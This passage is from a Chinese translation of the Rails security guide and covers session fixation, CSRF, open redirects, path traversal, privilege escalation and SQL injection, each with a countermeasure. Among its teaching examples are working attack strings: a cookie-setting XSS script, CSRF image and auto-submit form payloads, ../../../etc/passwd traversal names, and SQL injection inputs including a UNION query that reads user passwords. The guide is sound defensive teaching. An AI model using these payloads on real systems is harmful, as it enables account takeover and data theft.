Rails 以前版本中的 CookieStore 使用 secret_token,新版中的 EncryptedCookieStore 使用 secret_key_base。详细说明参见升级指南。

如果你的程序密令暴露了(例如,程序的源码公开了),强烈建议你更换密令。

2.6 CookieStore 存储会话的重放攻击

使用 CookieStore 存储会话时要注意一种叫做“重放攻击”(replay attack)的攻击方式。

重放攻击的工作方式如下:

+
    +
  • 用户收到一些点数,数量存储在会话中(不应该存储在会话中,这里只做演示之用);
  • +
  • 用户购买了商品;
  • +
  • 剩余点数还在会话中;
  • +
  • 用户心生歹念,复制了第一步中的 cookie,替换掉浏览器中现有的 cookie;
  • +
  • 用户的点数又变成了消费前的数量;
  • +
+

在会话中写入一个随机值(nonce)可以避免重放攻击。这个随机值只能通过一次验证,服务器记录了所有合法的随机值。如果程序用到了多个服务器情况就变复杂了。把随机值存储在数据库中就违背了使用 CookieStore 的初衷(不访问数据库)。

避免重放攻击最有力的方式是,不在会话中存储这类数据,将其存到数据库中。针对上例,可以把点数存储在数据库中,把登入用户的 ID 存储在会话中。

2.7 会话固定攻击

攻击者可以不窃取用户的会话 ID,使用一个已知的会话 ID。这叫做“会话固定攻击”(session fixation)

会话固定攻击

会话固定攻击的关键是强制用户的浏览器使用攻击者已知的会话 ID。因此攻击者无需窃取会话 ID。攻击过程如下:

+
    +
  • 攻击者创建一个合法的会话 ID:打开网页程序的登录页面,从响应的 cookie 中获取会话 ID(如上图中的第 1 和第 2 步)。
  • +
  • 程序有可能在维护会话,每隔一段时间,例如 20 分钟,就让会话过期,减少被攻击的可能性。因此,攻击者要不断访问网页程序,让会话保持可用。
  • +
  • 攻击者强制用户的浏览器使用这个会话 ID(如上图中的第 3 步)。由于不能修改另一个域名中的 cookie(基于同源原则),攻击者就要想办法在目标网站的域中运行 JavaScript,通过跨站脚本把 JavaScript 注入目标网站。一个跨站脚本示例:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。跨站脚本及其注入方式参见后文。
  • +
  • 攻击者诱引用户访问被 JavaScript 代码污染的网页。查看这个页面后,用户浏览器中的会话 ID 就被篡改成攻击者伪造的会话 ID。
  • +
  • 因为伪造的会话 ID 还没用过,所以网页程序要认证用户的身份。
  • +
  • 此后,用户和攻击者就可以共用同一个会话访问这个网站了。攻击者伪造的会话 ID 漂白了,而用户浑然不知。
  • +
+

2.8 会话固定攻击的对策

只需一行代码就能避免会话固定攻击。

最有效的对策是,登录成功后重新设定一个新的会话 ID,原来的会话 ID 作废。这样,攻击者就无法使用固定的会话 ID 了。这个对策也能有效避免会话劫持。在 Rails 中重设会话的方式如下:

+
+reset_session
+
+
+
+

如果用了流行的 RestfulAuthentication 插件管理用户,要在 SessionsController#create 动作中调用 reset_session 方法。注意,这个方法会清除会话中的所有数据,你要把用户转到新的会话中

另外一种对策是把用户相关的属性存储在会话中,每次请求都做验证,如果属性不匹配就禁止访问。用户相关的属性可以是 IP 地址或用户代理名(浏览器名),不过用户代理名和用户不太相关。存储 IP 地址时要注意,有些网络服务提供商或者大型组织把用户的真实 IP 隐藏在代理后面,对会话有比较大的影响,所以这些用户可能无法使用程序,或者使用受限。

2.9 会话过期

永不过期的会话增加了跨站请求伪造、会话劫持和会话固定攻击的可能性。

cookie 的过期时间可以通过会话 ID 设定。然而,客户端可以修改存储在浏览器中的 cookie,因此在服务器上把会话设为过期更安全。下面的例子把存储在数据库中的会话设为过期。Session.sweep("20 minutes") 把二十分钟前的会话设为过期。

+
+class Session < ActiveRecord::Base
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+
+
+
+

在“会话固定攻击”一节提到过维护会话的问题。虽然上述代码能把会话设为过期,但攻击者每隔五分钟访问一次网站就能让会话始终有效。对此,一个简单的解决办法是在会话数据表中添加 created_at 字段,删除很久以前创建的会话。在上面的代码中加入下面的代码即可:

+
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+
+

3 跨站请求伪造

跨站请求伪造(cross-site request forgery,简称 CSRF)攻击的方法是在页面中包含恶意代码或者链接,攻击者认为被攻击的用户有权访问另一个网站。如果用户在那个网站的会话没有过期,攻击者就能执行未经授权的操作。

跨站请求伪造

读过前一节我们知道,大多数 Rails 程序都使用 cookie 存储会话,可能只把会话 ID 存储在 cookie 中,而把会话内容存储在服务器上,或者把整个会话都存储在客户端。不管怎样,只要能找到针对某个域名的 cookie,请求时就会连同该域中的 cookie 一起发送。这就是问题所在,如果请求由域名不同的其他网站发起,也会一起发送 cookie。我们来看个例子。

+
    +
  • Bob 访问一个留言板,其中有篇由黑客发布的帖子,包含一个精心制造的 HTML 图片元素。这个元素指向 Bob 的项目管理程序中的某个操作,而不是真正的图片文件。
  • +
  • 图片元素的代码为 <img src="http://www.webapp.com/project/1/destroy">
  • +
  • Bob 在 www.webapp.com 网站上的会话还有效,因为他并没有退出。
  • +
  • 查看这篇帖子后,浏览器发现有个图片标签,尝试从 www.webapp.com 加载这个可疑的图片。如前所述,浏览器会同时发送 cookie,其中就包含可用的会话 ID。
  • +
  • +www.webapp.com 验证了会话中的用户信息,销毁 ID 为 1 的项目。请求得到的响应页面浏览器无法解析,因此不会显示图片。
  • +
  • Bob 并未察觉到被攻击了,一段时间后才发现 ID 为 1 的项目不见了。
  • +
+

有一点要特别注意,精心制作的图片或链接无需出现在网页程序的同一域名中,任何地方都可以,论坛、博客,甚至是电子邮件。

CSRF 很少出现在 CVE(通用漏洞披露,Common Vulnerabilities and Exposures)中,2006 年比例还不到 0.1%,但却是个隐形杀手。这倒和我(以及其他人)的安全合约工作得到的结果完全相反——CSRF 是个严重的安全问题

3.1 CSRF 的对策

首先,遵守 W3C 的要求,适时地使用 GET 和 POST 请求。其次,在非 GET 请求中加入安全权标可以避免程序受到 CSRF 攻击。

HTTP 协议提供了两种主要的基本请求类型,GET 和 POST(当然还有其他请求类型,但大多数浏览器都不支持)。万维网联盟(World Wide Web Consortium,简称 W3C)提供了一个检查表用于选择 GET 和 POST:

使用 GET 请求的情形:

+
    +
  • 交互更像是在询问,例如查询,读取等安全的操作;
  • +
+

使用 POST 请求的情形:

+
    +
  • 交互更像是执行某项命令;
  • +
  • 交互改变了资源的状态,且用户能察觉到这个变化,例如订阅一项服务;
  • +
  • 交互的结果由用户负责;
  • +
+

如果你的网页程序使用 REST 架构,可能已经用过其他 HTTP 请求,例如 PATCH、PUT 和 DELETE。现今的大多数浏览器都不支持这些请求,只支持 GET 和 POST。Rails 使用隐藏的 _method 字段处理这一难题。

POST 请求也能自动发送。举个例子,下面这个链接虽在浏览器的状态栏中显示的目标地址是 www.harmless.com ,但其实却动态地创建了一个表单,发起 POST 请求。

+
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+
+
+
+

攻击者还可以把代码放在图片的 onmouseover 事件句柄中:

+
+<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
+
+
+
+

伪造请求还有其他方式,例如使用 <script> 标签向返回 JSONP 或 JavaScript 的地址发起跨站请求。响应是可执行的代码,攻击者能找到方法执行其中的代码,获取敏感数据。为了避免这种数据泄露,可以禁止使用跨站 <script> 标签,只允许使用 Ajax 请求获取 JavaScript 响应,因为 XmlHttpRequest 遵守同源原则,只有自己的网站才能发起请求。

为了防止其他伪造请求,我们可以使用安全权标,这个权标只有自己的网站知道,其他网站不知道。我们要在请求中加入这个权标,且要在服务器上做验证。这些操作只需在控制器中加入下面这行代码就能完成:

+
+protect_from_forgery
+
+
+
+

加入这行代码后,Rails 生成的所有表单和 Ajax 请求中都会包含安全权标。如果安全权标和预期的值不一样,程序会重置会话。

一般来说最好使用持久性 cookie 存储用户的信息,例如 cookies.permanent。此时,cookie 不会被清除,而且自动加入的 CSRF 保护措施也不会受到影响。如果此类信息没有使用会话存储在 cookie 中,就要自己动手处理:

+
+def handle_unverified_request
+  super
+  sign_out_user # Example method that will destroy the user cookies.
+end
+
+
+
+

上述代码可以放到 ApplicationController 中,如果非 GET 请求中没有 CSRF 权标就会调用这个方法。

注意,跨站脚本攻击会跳过所有 CSRF 保护措施。攻击者通过跨站脚本可以访问页面中的所有元素,因此能读取表单中的 CSRF 安全权标或者直接提交表单。详情参阅“跨站脚本”一节。

4 重定向和文件

有一种安全漏洞由网页程序中的重定向和文件引起。

4.1 重定向

网页程序中的重定向是个被低估的破坏工具:攻击者可以把用户引到有陷阱的网站,或者制造独立攻击(self-contained attack)。

只要允许用户指定重定向地址,就有可能被攻击。最常见的攻击方式是把用户重定向到一个和正牌网站看起来一模一样虚假网站。这叫做“钓鱼攻击”。攻击者把不会被怀疑的链接通过邮件发给用户,在链接中注入跨站脚本,或者把链接放在其他网站中。用户之所以不怀疑,是因为链接以熟知的网站域名开头,转向恶意网站的地址隐藏在重定向参数中,例如 http://www.example.com/site/redirect?to= www.attacker.com。我们来看下面这个 legacy 动作:

+
+def legacy
+  redirect_to(params.update(action:'main'))
+end
+
+
+
+

如果用户访问 legacy 动作,会转向 main 动作。其作用是保护 URL 参数,将其转向 main 动作。但是,如果攻击者在 URL 中指定 host 参数仍能用来攻击:

+
+http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
+
+
+
+

如果 host 参数出现在地址的末尾,用户很难察觉,最终被重定向到 attacker.com。对此,一种简单的对策是只允许在 legacy 动作中使用指定的参数(使用白名单,而不是删除不该使用的参数)。如果重定向到一个地址,要通过白名单或正则表达式检查目标地址。

4.1.1 独立跨站脚本攻击

还有一种重定向和独立跨站脚本攻击可通过在 Firefox 和 Opera 中使用 data 协议实现。data 协议直接把内容显示在浏览器中,可以包含任何 HTML 或 JavaScript,以及完整的图片:

+
+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
+
+
+
+

这是个使用 Base64 编码的 JavaScript 代码,显示一个简单的弹出窗口。在重定向地址中,攻击者可以通过这段恶意代码把用户引向这个地址。对此,一个对策是禁止用户指定重定向的地址。

4.2 文件上传

确保上传的文件不会覆盖重要的文件,而且要异步处理文件上传过程。

很多网页程序都允许用户上传文件。程序应该过滤文件名,因为用户可以(部分)指定文件名,攻击者可以使用恶意的文件名覆盖服务器上的任意文件。如果上传的文件存储在 /var/www/uploads 文件夹中,用户可以把上传的文件命名为 ../../../etc/passwd,这样就覆盖了重要文件。当然了,Ruby 解释器需要特定的授权才能这么做。这也是为什么要使用权限更少的用户运行网页服务器、数据库服务器等程序的原因。

过滤用户上传文件的文件名时,不要只删除恶意部分。设想这样一种情况,网页程序删除了文件名中的所有 ../,但是攻击者可以使用 ....//,得到的结果还是 ../。最好使用白名单,确保文件名中只包含指定的字符。这和黑名单的做法不同,黑名单只是简单的把不允许使用的字符删掉。如果文件名不合法,拒绝使用即可(或者替换成允许使用的字符),不要删除不可用的字符。下面这个文件名清理方法摘自 attachment_fu 插件。

+
+def sanitize_filename(filename)
+  filename.strip.tap do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.sub! /\A.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+
+
+
+

同步处理文件上传一个明显的缺点是,容易受到“拒绝服务”(denial-of-service,简称 DOS)攻击。攻击者可以同时在多台电脑上上传图片,增加服务器负载,最终有可能导致服务器宕机。

所以最好异步处理媒体文件的上传过程:保存媒体文件,然后在数据库中排期一个处理请求,让另一个进程在后台上传文件。

4.3 上传文件中的可执行代码

如果把上传的文件存放在特定的文件夹中,其中的源码会被执行。如果 /public 文件夹是 Apache 的根目录,就不能把上传的文件保存在这个文件夹里。

使用广泛的 Apache 服务器有个选项叫做 DocumentRoot。这个选项指定网站的根目录,这个文件夹中的所有文件都会由服务器伺服。如果文件使用特定的扩展名(例如 PHP 和 CGI 文件),请求该文件时会执行其中包含的代码(可能还要设置其他选项)。假设攻击者上传了一个名为 file.cgi 的文件,用户下载这个文件时就会执行其中的代码。

如果 Apache 的 DocumentRoot 指向 Rails 的 /public 文件夹,请不要把上传的文件放在这个文件夹中, 至少要放在子文件夹中。

4.4 文件下载

确保用户不能随意下载文件。

就像过滤上传文件的文件名一样,下载文件时也要这么做。send_file() 方法可以把服务器上的文件发送到客户端,如果不过滤用户提供的文件名,可以下载任何一个文件:

+
+send_file('/var/www/uploads/' + params[:filename])
+
+
+
+

把文件名设为 ../../../etc/passwd 就能下载服务器的登录信息。一个简单的对策是,检查请求的文件是否在指定的文件夹中:

+
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename !=
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, disposition: 'inline'
+
+
+
+

另外一种方法是把文件名保存在数据库中,然后用数据库中的 ID 命名存储在硬盘上的文件。这样也能有效避免执行上传文件中的代码。attachment_fu 插件使用的就是类似方式。

5 局域网和管理界面的安全

局域网和管理界面是常见的攻击目标,因为这些地方有访问特权。局域网和管理界面需要多种安全防护措施,但实际情况却不理想。

2007 年出现了第一个专门用于窃取局域网信息的木马,名为“Monster for employers”,攻击 Monster.com 这个在线招聘网站。迄今为止,特制的木马虽然很少出现,但却表明了客户端安全的重要性。不过,局域网和管理界面面对的最大威胁是 XSS 和 CSRF。

XSS 如果转发了来自外部网络的恶意内容,程序有可能受到 XSS 攻击。用户名、评论、垃圾信息过滤程序、订单地址等都是经常被 XSS 攻击的对象。

如果局域网或管理界面的输入没有过滤,整个程序都处在危险之中。可能的攻击包括:窃取有权限的管理员 cookie,注入 iframe 偷取管理员的密码,通过浏览器漏洞安装恶意软件控制管理员的电脑。

XSS 的对策参阅“注入”一节。在局域网和管理界面中也推荐使用 SafeErb 插件。

CSRF 跨站请求伪造(Cross-Site Request Forgery,简称 CSRF 或者 XSRF)是一种防不胜防的攻击方式,攻击者可以用其做管理员和局域网内用户能做的一切操作。CSRF 的工作方式前文已经介绍过,下面我们来看一下攻击者能在局域网或管理界面中做些什么。

一个真实地案例是通过 CSRF 重新设置路由器。攻击者向墨西哥用户发送了一封包含 CSRF 的恶意电子邮件,声称有一封电子贺卡。邮件中还有一个图片标签,发起 HTTP GET 请求,重新设置用户的路由器。这个请求修改了 DNS 设置,如果用户访问墨西哥的银行网站,会被带到攻击者的网站。只要通过这个路由器访问银行网站,用户就会被引向攻击者的网站,导致密码被偷。

还有一个案例是修改 Google Adsense 账户的 Email 地址和密码。如果用户登录 Google Adsense,攻击者就能窃取密码。

另一种常见的攻击方式是在网站中发布垃圾信息,通过博客或论坛传播恶意的跨站脚本。当然了,攻击者要知道地址的结构,不过大多数 Rails 程序的地址结构一目了然。如果程序是开源的,也很容易找出地址的结构。攻击者甚至可以通过恶意的图片标签猜测,尝试各种可能的组合,幸运的话不会超过一千次。

在局域网和管理界面防范 CSRF 的方法参见“CSRF 的对策”一节。

5.1 其他预防措施

管理界面一般都位于 www.example.com/admin,或许只有 User 模型的 admin 字段为 true 时才能访问。管理界面显示了用户的输入内容,管理员可根据需求删除、添加和编辑数据。我对管理界面的一些想法:

+
    +
  • 一定要考虑最坏的情况:如果有人得到了我的 cookie 或密码该怎么办。你可以为管理界面引入用户角色,限制攻击者的权限。也可为管理界面使用特殊的密码,和网站前台不一样。也许每个重要的动作都使用单独的特殊密码也是个不错的主意。

  • +
  • 管理界面有必要能从世界各地访问吗?考虑一下限制能登陆的 IP 地址段。使用 request.remote_ip 可以获取用户的 IP 地址。这一招虽不能保证万无一失,但却是道有力屏障。使用时要注意代理的存在。

  • +
  • 把管理界面放到单独的子域名中,例如 admin.application.com,使用独立的程序及用户管理系统。这样就不可能从 www.application.com 中窃取管理密码了,因为浏览器中有同源原则:注入 www.application.com 中的跨站脚本无法读取 admin.application.com 中的 cookie,反之亦然。

  • +
+

6 用户管理

几乎每个网页程序都要处理权限和认证。不要自己实现这些功能,推荐使用常用的插件,而且要及时更新。除此之外还有一些预防措施,可以让程序更安全。

Rails 身份认证插件很多,比较好的有 deviseauthlogic。这些插件只存储加密后的密码,不会存储明文。从 Rails 3.1 起,可以使用内建的 has_secure_password 方法实现类似的功能。

注册后程序会生成一个激活码,用户会收到一封包含激活链接的邮件。激活账户后,数据库中的 activation_code 字段被设为 NULL。如果有人访问类似的地址,就能以在数据库中查到的第一个激活的用户身份登录程序,这个用户极有可能是管理员:

+
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+
+
+
+

这么做之所以可行,是因为在某些服务器上,访问上述地址后,ID 参数(params[:id])的值是 nil。查找激活码的方法如下:

+
+User.find_by_activation_code(params[:id])
+
+
+
+

如果 ID 为 nil,生成的 SQL 查询如下:

+
+SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
+
+
+
+

查询到的是数据库中的第一个用户,返回给动作并登入该用户。详细说明参见我博客上的文章。因此建议经常更新插件。而且,审查程序的代码也可以发现类似问题。

6.1 暴力破解账户

暴力破解需要不断尝试,根据错误提示做改进。提供模糊的错误消息、使用验证码可以避免暴力破解。

网页程序中显示的用户列表可被用来暴力破解用户的密码,因为大多数用户使用的密码都不复杂。大多数密码都是由字典单词和数字组成的。只要有一组用户名和字典,自动化程序就能在数分钟内找到正确的密码。

因此,大多数网页程序都会显示更模糊的错误消息,例如“用户名或密码错误”。如果提示“未找到您输入的用户名”,攻击者会自动生成用户名列表。

不过,被大多数开发者忽略的是忘记密码页面。这个页面经常会提示能否找到输入的用户名或邮件地址。攻击者据此可以生成用户名列表,用于暴力破解账户。

为了尽量避免这种攻击,忘记密码页面上显示的错误消息也要模糊一点。如果同一 IP 地址多次登录失败后,还可以要求输入验证码。注意,这种方法不能完全禁止自动化程序,因为自动化程序能频繁更换 IP 地址。不过也算增加了一道防线。

6.2 盗取账户

很多程序的账户很容易盗取,为什么不增加盗窃的难度呢?

6.2.1 密码

攻击者一旦窃取了用户的会话 cookie 就能进入程序。如果能轻易修改密码,几次点击之后攻击者就能盗用账户。如果修改密码的表单有 CSRF 漏洞,攻击者可以把用户引诱到一个精心制作的网页,其中包含可发起跨站请求伪造的图片。针对这种攻击的对策是,在修改密码的表单中加入 CSRF 防护,而且修改密码前要输入原密码。

6.2.2 E-Mail

攻击者还可通过修改 Email 地址盗取账户。修改 Email 地址后,攻击者到忘记密码页面输入邮箱地址,新密码就会发送到攻击者提供的邮箱中。针对这种攻击的对策是,修改 Email 地址时要输入密码。

6.2.3 其他

不同的程序盗取账户的方式也不同。大多数情况下都要利用 CSRF 和 XSS。例如 Google Mail 中的 CSRF 漏洞。在这个概念性的攻击中,用户被引向攻击者控制的网站。网站中包含一个精心制作的图片,发起 HTTP GET 请求,修改 Google Mail 的过滤器设置。如果用户登入 Google Mail,攻击者就能修改过滤器,把所有邮件都转发到自己的邮箱中。这几乎和账户被盗的危险性相同。针对这种攻击的对策是,审查程序的逻辑,封堵所有 XSS 和 CSRF 漏洞。

6.3 验证码

验证码是质询-响应测试,用于判断响应是否由计算机生成。经常用在评论表单中,要求用户输入图片中扭曲的文字,禁止垃圾评论机器人发布评论。验证的目的不是为了证明用户是人类,而是为了证明机器人是机器人。

我们要防护的不仅是垃圾评论机器人,还有自动登录机器人。使用广泛的 reCAPTCHA 会显示两个扭曲的图片,其中的文字摘自古籍,图片中还会显示一条直角线。早期的验证码使用扭曲的背景和高度变形的文字,但这种方式已经被破解了。reCAPTCHA 的这种做法还有个附加好处,可以数字化古籍。ReCAPTCHA 是个 Rails 插件,和所用 API 同名。

你会从 reCAPTCHA 获取两个密钥,一个公匙,一个私匙,这两个密钥要放到 Rails 程序的设置中。然后就可以在视图中使用 recaptcha_tags 方法,在控制器中使用 verify_recaptcha 方法。如果验证失败,verify_recaptcha 方法返回 false。验证码的问题是很烦人。而且,有些视觉受损的用户发现某些扭曲的验证码很难看清。

大多数机器人都很笨拙,会填写爬取页面表单中的每个字段。验证码正式利用这一点,在表单中加入一个诱引字段,通过 CSS 或 JavaScript 对用户隐藏。

通过 JavaScript 和 CSS 隐藏诱引字段可以使用下面的方法:

+
    +
  • 把字段移到页面的可视范围之外;
  • +
  • 把元素的大小设的很小,或者把颜色设的和背景色一样;
  • +
  • 显示这个字段,但告诉用户不要填写;
  • +
+

最简单的方法是使用隐藏的诱引字段。在服务器端要检查这个字段的值:如果包含任何文本,就说明这是个机器人。然后可以忽略这次请求,或者返回真实地结果,但不能把数据存入数据库。这样一来,机器人就以为完成了任务,继续前往下一站。对付讨厌的人也可以用这种方法。

Ned Batchelder 的博客中介绍了更复杂的验证码。

注意,验证码只能防范自动机器人,不能阻止特别制作的机器人。所以,验证码或许不是登录表单的最佳防护措施。

6.4 日志

告诉 Rails 不要把密码写入日志。

默认情况下,Rails 会把请求的所有信息写入日志。日志文件是个严重的安全隐患,因为其中可能包含登录密码和信用卡卡号等。考虑程序的安全性时,要想到攻击者获得服务器控制权这一情况。如果把明文密码写入日志,数据库再怎么加密也无济于事。在程序的设置文件中可以通过 config.filter_parameters 过滤指定的请求参数,不写入日志。过滤掉的参数在日志中会使用 [FILTERED] 代替。

+
+config.filter_parameters << :password
+
+
+
+

6.5 好密码

你是否发现很难记住所有密码?不要把密码记下来,使用容易记住的句子中单词的首字母。

安全专家 Bruce Schneier 研究了钓鱼攻击(如下所示)获取的 34000 个真实的 MySpace 用户名和密码,发现大多数密码都很容易破解。最常用的 20 个密码是:

password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, monkey

这些密码只有不到 4% 使用了字典中能找到的单词,而且大都由字母和数字组成。破解密码的字典中包含大多数常用的密码,攻击者会尝试所有可能的组合。如果攻击者知道你的用户名,而且密码很弱,你的账户就很容易被破解。

好的密码是一组很长的字符串,混合字母和数字。这种密码很难记住,建议你使用容易记住的长句的首字母。例如,从“The quick brown fox jumps over the lazy dog”中得到的密码是“Tqbfjotld”。注意,我只是举个例子,请不要使用熟知的名言,因为破解字典中可能有这些名言。

6.6 正则表达式

使用 Ruby 正则表达式时经常犯的错误是使用 ^$ 分别匹配字符串的开头和结尾,其实应该使用 \A\z

Ruby 使用了有别于其他编程语言的方式来匹配字符串的开头和结尾。这也是为什么很多 Ruby/Rails 相关的书籍都搞错了。为什么这是个安全隐患呢?如果想不太严格的验证 URL 字段,使用了如下的正则表达式:

+
+/^https?:\/\/[^\n]+$/i
+
+
+
+

在某些编程语言中可能没问题,但在 Ruby 中,^$ 分别匹配一行的开头和结尾。因此下面这种 URL 能通过验证:

+
+javascript:exploit_code();/*
+http://hi.com
+*/
+
+
+
+

之所以能通过,是因为第二行匹配了正则表达式,其他两行无关紧要。假设在视图中要按照下面的方式显示 URL:

+
+link_to "Homepage", @user.homepage
+
+
+
+

访问者不会觉得这个链接有问题,点击之后,却执行了 exploit_code 这个 JavaScript 函数,或者攻击者提供的其他 JavaScript 代码。

修正这个正则表达式的方法是,分别用 \A\z 代替 ^$,如下所示:

+
+/\Ahttps?:\/\/[^\n]+\z/i
+
+
+
+

因为这种问题经常出现,如果使用的正则表达式以 ^ 开头,或者以 $ 结尾,格式验证器(validates_format_of)会抛出异常。如果确实需要使用 ^$(但很少见),可以把 :multiline 选项设为 true,如下所示:

+
+# content should include a line "Meanwhile" anywhere in the string
+validates :content, format: { with: /^Meanwhile$/, multiline: true }
+
+
+
+

注意,这种方式只能避免格式验证中出现的常见错误。你要牢记,在 Ruby 中 ^$ 分别匹配的开头和结尾,不是整个字符串的开头和结尾。

6.7 权限提升

只需修改一个参数就可能赋予用户未授权的权限。记住,不管你怎么隐藏参数,还是可能被修改。

用户最可能篡改的参数是 ID,例如在 http://www.domain.com/project/1 中,ID 为 1,这个参数的值在控制器中可通过 params 获取。在控制器中可能会做如下的查询:

+
+@project = Project.find(params[:id])
+
+
+
+

在某些程序中这么做没问题,但如果用户没权限查看所有项目就不能这么做。如果用户把 ID 改为 42,但其实无权查看这个项目的信息,用户还是能够看到。我们应该同时查询用户的访问权限:

+
+@project = @current_user.projects.find(params[:id])
+
+
+
+

不同的程序用户可篡改的参数也不同,谨记一个原则,用户输入的数据未经验证之前都是不安全的,传入的每个参数都有潜在危险。

别傻了,隐藏参数或者使用 JavaScript 根本就无安全性可言。使用 Firefox 的开发者工具可以修改表单中的每个隐藏字段。JavaScript 只能验证用户的输入数据,但不能避免攻击者发送恶意请求。Firefox 的 Live Http Headers 插件可以记录每次请求,而且能重复请求或者修改请求内容,很容易就能跳过 JavaScript 验证。有些客户端代理还能拦截任意请求和响应。

7 注入

注入这种攻击方式可以把恶意代码或参数写入程序,在程序所谓安全的环境中执行。常见的注入方式有跨站脚本和 SQL 注入。

注入具有一定技巧性,一段代码或参数在一个场合是恶意的,但换个场合可能就完全无害。这里所说的“场合”可以是一个脚本,查询,编程语言,shell 或者 Ruby/Rails 方法。下面各节分别介绍注入攻击可能发生的场合。不过,首先我们要说明和注入有关的架构决策。

7.1 白名单与黑名单

过滤、保护或者验证时白名单比黑名单好。

黑名单可以是一组不可用的 Email 地址,非公开的动作或者不能使用的 HTML 标签。白名单则相反,是一组可用的 Email 地址,公开的动作和可用的 HTML 标签。某些情况下无法创建白名单(例如,垃圾信息过滤),但下列场合推荐使用白名单:

+
    +
  • +before_action 的选项使用 only: [...],而不是 except: [...]。这样做,新建的动作就不会误入 before_action
  • +
  • 防范跨站脚本时推荐加上 <strong> 标签,不要删除 <script> 元素。详情参见后文。
  • +
  • 不要尝试使用黑名单修正用户的输入 + +
      +
    • 这么做会成全这种攻击:"<sc<script>ript>".gsub("<script>", "") +
    • +
    • 直接拒绝即可
    • +
    +
  • +
+

使用白名单还能避免忘记黑名单中的内容。

7.2 SQL 注入

Rails 中的方法足够智能,能避免 SQL 注入。但 SQL 注入是网页程序中比较常见且危险性高的攻击方式,因此有必要了解一下。

7.2.1 简介

SQL 注入通过修改传入程序的参数,影响数据库查询。常见目的是跳过授权管理系统,处理数据或读取任意数据。下面举例说明为什么要避免在查询中使用用户输入的数据。

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

这个查询可能出现在搜索动作中,用户输入想查找的项目名。如果恶意用户输入 ' OR 1 --,得到的 SQL 查询为:

+
+SELECT * FROM projects WHERE name = '' OR 1 --'
+
+
+
+

两根横线表明注释开始,后面所有的语句都会被忽略。所以上述查询会读取 projects 表中所有记录,包括向用户隐藏的记录。这是因为所有记录都满足查询条件。

7.2.2 跳过授权

网页程序中一般都有访问控制功能。用户输入登录密令后,网页程序试着在用户数据表中找到匹配的记录。如果找到了记录就赋予用户相应的访问权限。不过,攻击者可通过 SQL 注入跳过这种检查。下面显示了 Rails 中一个常见的数据库查询,在用户表中查询匹配用户输入密令的第一个记录。

+
+User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
+
+
+
+

如果用户输入的 name 参数值为 ' OR '1'='1password 参数的值为 ' OR '2'>'1,得到的 SQL 查询为:

+
+SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+
+
+
+

这个查询直接在数据库中查找第一个记录,然后赋予其相应的权限。

7.2.3 未经授权读取数据

UNION 语句连接两个 SQL 查询,返回的结果只有一个集合。攻击者利用 UNION 语句可以从数据库中读取任意数据。下面来看个例子:

+
+Project.where("name = '#{params[:name]}'")
+
+
+
+

注入一个使用 UNION 语句的查询:

+
+') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+
+
+
+

得到的 SQL 查询如下:

+
+SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
+
+
+
+

上述查询的结果不是一个项目集合(因为找不到没有名字的项目),而是一组由用户名和密码组成的集合。真希望你加密了存储在数据库中的密码!攻击者要为两个查询语句提供相同的字段数量。所以在第二个查询中有很多 1。攻击者可以总是使用 1,只要字段的数量和第一个查询一样即可。

而且,第二个查询使用 AS 语句重命名了某些字段,这样程序就能显示出从用户表中查询得到的数据。

7.2.4 对策

Rails 内建了能过滤 SQL 中特殊字符的过滤器,会转义 '"NULL 和换行符。Model.find(id)Model.find_by_something(something) 会自动使用这个过滤器。但在 SQL 片段中,尤其是条件语句(where("...")),connection.execute()Model.find_by_sql() 方法,需要手动调用过滤器。

请不要直接传入条件语句,而要传入一个数组,进行过滤。如下所示:

+
+Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
+
+
+
+

如上所示,数组的第一个元素是包含问号的 SQL 片段,要过滤的内容是数组其后的元素,过滤后的值会替换第一个元素中的问号。传入 Hash 的作用相同:

+
+Model.where(login: entered_user_name, password: entered_password).first
+
+
+
+

数组或 Hash 形式只能在模型实例上使用。其他地方可使用 sanitize_sql() 方法。在 SQL 中使用外部字符串时要时刻警惕安全性。

7.3 跨站脚本

网页程序中影响范围最广、危害性最大的安全漏洞是跨站脚本。这种恶意攻击方式在客户端注入可执行的代码。Rails 提供了防御这种攻击的帮助方法。

7.3.1 切入点

切入点是攻击者可用来发起攻击的漏洞 URL 地址和其参数。

常见的切入点有文章、用户评论、留言本,项目的标题、文档的名字和搜索结果页面也经常受到攻击,只要用户能输入数据的地方都有危险。输入的数据不一定来自网页中的输入框,也可以来自任何 URL 参数(公开参数,隐藏参数或者内部参数)。记住,用户能拦截任何通信。Firefox 的 Live HTTP Headers 插件,以及客户端代码能轻易的修改请求数据。

